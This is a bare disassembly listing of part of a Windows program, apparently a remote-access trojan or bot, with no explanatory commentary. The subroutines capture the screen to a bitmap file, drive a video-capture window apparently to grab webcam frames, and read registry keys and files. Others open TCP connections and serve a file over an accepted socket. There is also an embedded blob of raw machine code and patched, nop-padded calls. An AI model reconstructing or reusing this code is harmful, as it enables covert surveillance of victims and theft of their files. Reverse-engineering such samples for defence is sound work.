		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB65C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541F
		push	18h
		push	edi
		call	dword_4CB65C
		mov	ebx, 100h
		jmp	short loc_415421
; ---------------------------------------------------------------------------


loc_41541F:				; CODE XREF: sub_4153BD+50j
		xor	ebx, ebx


loc_415421:				; CODE XREF: sub_4153BD+60j
		push	edi
		call	dword_4CB6A0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D6
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB698
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E1
		push	eax
		push	[ebp+var_4]
		call	dword_4CB524
		cmp	eax, esi
		jz	loc_4155E1
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E1
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB69C
		test	eax, eax
		jz	loc_4155E1
		cmp	ebx, esi
		jz	short loc_4154DE
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB578
		mov	ebx, eax


loc_4154DE:				; CODE XREF: sub_4153BD+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2700842h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C1
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		cmp	ebx, esi
		jz	short loc_4155A3
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h


loc_4155A3:				; CODE XREF: sub_4153BD+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 26608E1h
		push	1
		pop	esi


loc_4155C1:				; CODE XREF: sub_4153BD+1A2j
		push	[ebp+var_1C]
		call	dword_4CB5B0
		push	[ebp+var_4]
		call	dword_4CB510
		mov	edi, [ebp+var_20]


loc_4155D6:				; CODE XREF: sub_4153BD+70j
		push	edi
		call	dword_4CB510
		mov	eax, esi
		jmp	short loc_4155F3
; ---------------------------------------------------------------------------


loc_4155E1:				; CODE XREF: sub_4153BD+C7j
					; sub_4153BD+D9j ...
		push	edi
		call	dword_4CB510
		push	[ebp+var_4]
		call	dword_4CB510


loc_4155F1:				; CODE XREF: sub_4153BD+23j
		xor	eax, eax


loc_4155F3:				; CODE XREF: sub_4153BD+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F8	proc near		; CODE XREF: sub_401ACD+7477p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415636
		mov	eax, esi
		jmp	loc_4157EC
; ---------------------------------------------------------------------------


loc_415636:				; CODE XREF: sub_4155F8+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415653
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_415655
; ---------------------------------------------------------------------------


loc_415653:				; CODE XREF: sub_4155F8+47j
		xor	eax, eax


loc_415655:				; CODE XREF: sub_4155F8+59j
		cmp	eax, ebx
		jnz	short loc_415660


loc_415659:				; CODE XREF: sub_4155F8+88j
					; sub_4155F8+BCj
		mov	ebx, esi
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_415660:				; CODE XREF: sub_4155F8+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41567D
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_41567D:				; CODE XREF: sub_4155F8+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415659
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A3
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A6
; ---------------------------------------------------------------------------


loc_4156A3:				; CODE XREF: sub_4155F8+98j
		mov	[ebp+arg_4], ebx


loc_4156A6:				; CODE XREF: sub_4155F8+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415659
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CD
		push	1
		pop	ebx
		jmp	loc_4157E1
; ---------------------------------------------------------------------------


loc_4156CD:				; CODE XREF: sub_4155F8+CBj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4156EA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4156EA:				; CODE XREF: sub_4155F8+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415705
		mov	ecx, 280h


loc_415705:				; CODE XREF: sub_4155F8+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415711
		mov	eax, 1E0h


loc_415711:				; CODE XREF: sub_4155F8+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575B
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_41575B:				; CODE XREF: sub_4155F8+153j
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415778
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415778:				; CODE XREF: sub_4155F8+16Ej
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415797
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_415797:				; CODE XREF: sub_4155F8+18Bj
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157B4
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157B4:				; CODE XREF: sub_4155F8+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4157E1
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB6B0


loc_4157E1:				; CODE XREF: sub_4155F8+63j
					; sub_4155F8+D0j ...
		push	[ebp+var_4]
		call	dword_4CB704
		mov	eax, ebx


loc_4157EC:				; CODE XREF: sub_4155F8+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F1	proc near		; CODE XREF: sub_401ACD+752Fp

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3280
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB5A4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582F
		mov	eax, esi
		jmp	loc_415A2B
; ---------------------------------------------------------------------------


loc_41582F:				; CODE XREF: sub_4157F1+35j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41584C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB6B0
		jmp	short loc_41584E
; ---------------------------------------------------------------------------


loc_41584C:				; CODE XREF: sub_4157F1+47j
		xor	eax, eax


loc_41584E:				; CODE XREF: sub_4157F1+59j
		cmp	eax, ebx
		jnz	short loc_415859


loc_415852:				; CODE XREF: sub_4157F1+8Bj
					; sub_4157F1+BCj
		mov	ebx, esi
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157F1+5Fj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415879
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB6B0


loc_415879:				; CODE XREF: sub_4157F1+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415852
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41589C
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB6B0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589F
; ---------------------------------------------------------------------------


loc_41589C:				; CODE XREF: sub_4157F1+96j
		mov	[ebp+arg_4], ebx


loc_41589F:				; CODE XREF: sub_4157F1+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415852
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C6
		push	1
		pop	ebx
		jmp	loc_415A22
; ---------------------------------------------------------------------------


loc_4158C6:				; CODE XREF: sub_4157F1+CBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4158E3
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB6B0


loc_4158E3:				; CODE XREF: sub_4157F1+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FE
		mov	ecx, 0A0h


loc_4158FE:				; CODE XREF: sub_4157F1+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415908
		push	78h
		pop	eax


loc_415908:				; CODE XREF: sub_4157F1+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41594D
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_41594D:				; CODE XREF: sub_4157F1+14Aj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_41596A
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB6B0


loc_41596A:				; CODE XREF: sub_4157F1+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159A8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB6B0


loc_4159A8:				; CODE XREF: sub_4157F1+1A3j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159C3
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB6B0


loc_4159C3:				; CODE XREF: sub_4157F1+1C0j
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159DC
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB6B0


loc_4159DC:				; CODE XREF: sub_4157F1+1DBj
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_4159F9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB6B0


loc_4159F9:				; CODE XREF: sub_4157F1+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5F4
		test	eax, eax
		jz	short loc_415A22
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB6B0


loc_415A22:				; CODE XREF: sub_4157F1+63j
					; sub_4157F1+D0j ...
		push	edi
		call	dword_4CB704
		mov	eax, ebx


loc_415A2B:				; CODE XREF: sub_4157F1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A30	proc near		; CODE XREF: sub_401ACD+25F2p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368EC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD1
		push	esi
		push	edi
		mov	eax, offset off_4368EC
		mov	esi, offset dword_4368F8
		mov	edi, offset dword_437AF0


loc_415A60:				; CODE XREF: sub_415A30+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB6C4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB554
		test	eax, eax
		jnz	loc_415BB7
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7B
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429AC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB7
		push	eax


loc_415AD9:				; CODE XREF: sub_415A30+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B70
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B06
		push	[ebp+var_8]
		jmp	short loc_415AD9
; ---------------------------------------------------------------------------


loc_415B06:				; CODE XREF: sub_415A30+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B34
		lea	eax, [ebp+var_70]
		push	offset asc_437AEC ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AEC ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B37
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_415A30+E4j
		lea	eax, [ebp+var_70]


loc_415B37:				; CODE XREF: sub_415A30+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 18h


loc_415B70:				; CODE XREF: sub_415A30+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB7
; ---------------------------------------------------------------------------


loc_415B7B:				; CODE XREF: sub_415A30+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AD
		add	esp, 28h


loc_415BB7:				; CODE XREF: sub_415A30+60j
					; sub_415A30+A2j ...
		push	[ebp+var_4]
		call	dword_4CB630
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A60
		pop	edi
		pop	esi


loc_415BD1:				; CODE XREF: sub_415A30+19j
		pop	ebx
		leave
		retn
sub_415A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD4	proc near		; CODE XREF: ___:00416279p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C50
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694
		cmp	eax, esi
		jnz	short loc_415C35
		push	[ebp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jz	short loc_415C50
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C35:				; CODE XREF: sub_415BD4+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC
		cmp	eax, esi
		jnz	short loc_415C54
		push	edi
		call	dword_4CB6EC


loc_415C50:				; CODE XREF: sub_415BD4+1Bj
					; sub_415BD4+58j
		mov	eax, esi
		jmp	short loc_415C56
; ---------------------------------------------------------------------------


loc_415C54:				; CODE XREF: sub_415BD4+73j
		mov	eax, edi


loc_415C56:				; CODE XREF: sub_415BD4+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD4	endp

; ---------------------------------------------------------------------------
word_415C5A	dw 8B55h		; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h,	8B6D6A57h
		dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
		dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
		dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
		dd 2CA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
		dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
		dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch,	50F475FFh
		dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
		dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
		dd 0FFFF56C3h, 0A9E85659h, 90022CA2h, 68E8646Ah, 900225B1h
		dd 0BEFF33h, 56000010h,	0EE4C858Dh, 5057FFFFh, 581BE8h
		dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h,	4CB66Ch
		dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
		dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
		dd 0E890646Ah, 225B10Fh, 80E80A6Ah, 85FFFF55h, 0A37559C0h
		dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
		dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h,	0FFFF6C85h
		dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
		dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h,	59FFFF56h
		dd 0A1E6E857h
; ---------------------------------------------------------------------------
		sub	al, 2
		nop


loc_415E1B:				; DATA XREF: sub_401ACD+7832o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6D4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E69
		push	offset unk_437C6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415E69:				; CODE XREF: ___:00415E5Dj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB654
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB680
		test	eax, eax
		jz	short loc_415EA7
		push	offset unk_437C48
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: ___:00415E9Bj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5F8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB584
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED9:				; CODE XREF: ___:00415F0Aj
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEC
		push	5Fh
		pop	eax
		jmp	short loc_415EEF
; ---------------------------------------------------------------------------


loc_415EEC:				; CODE XREF: ___:00415EE5j
		movsx	eax, al


loc_415EEF:				; CODE XREF: ___:00415EEAj
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED9
		push	ebx
		push	edi
		call	dword_4CB67C
		test	eax, eax
		jz	short loc_415F22
		push	offset unk_437B6C
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F22:				; CODE XREF: ___:00415F16j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 2700842h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4C
		push	offset unk_437C28
		jmp	loc_416022
; ---------------------------------------------------------------------------


loc_415F4C:				; CODE XREF: ___:00415F40j
		push	esi
		push	eax
		call	near ptr 2730B5Dh
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		push	eax
		call	dword_4CB650
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437C10
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB63C
		test	eax, eax
		jg	short loc_415FFC
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BF8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A73
		jmp	loc_416120
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: ___:00415FDAj
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416035
		push	offset unk_437BD4


loc_416022:				; CODE XREF: ___:00415E64j
					; ___:00415EA2j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416123
; ---------------------------------------------------------------------------


loc_416035:				; CODE XREF: ___:0041601Bj
		push	edi
		call	dword_4CB6EC
		cmp	[ebp+8], esi
		jz	loc_4160E7
		mov	edi, 400h


loc_41604A:				; CODE XREF: ___:004160DEj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416057
		mov	[ebp-4], eax


loc_416057:				; CODE XREF: ___:00416052j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2770000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2700000h
		push	esi
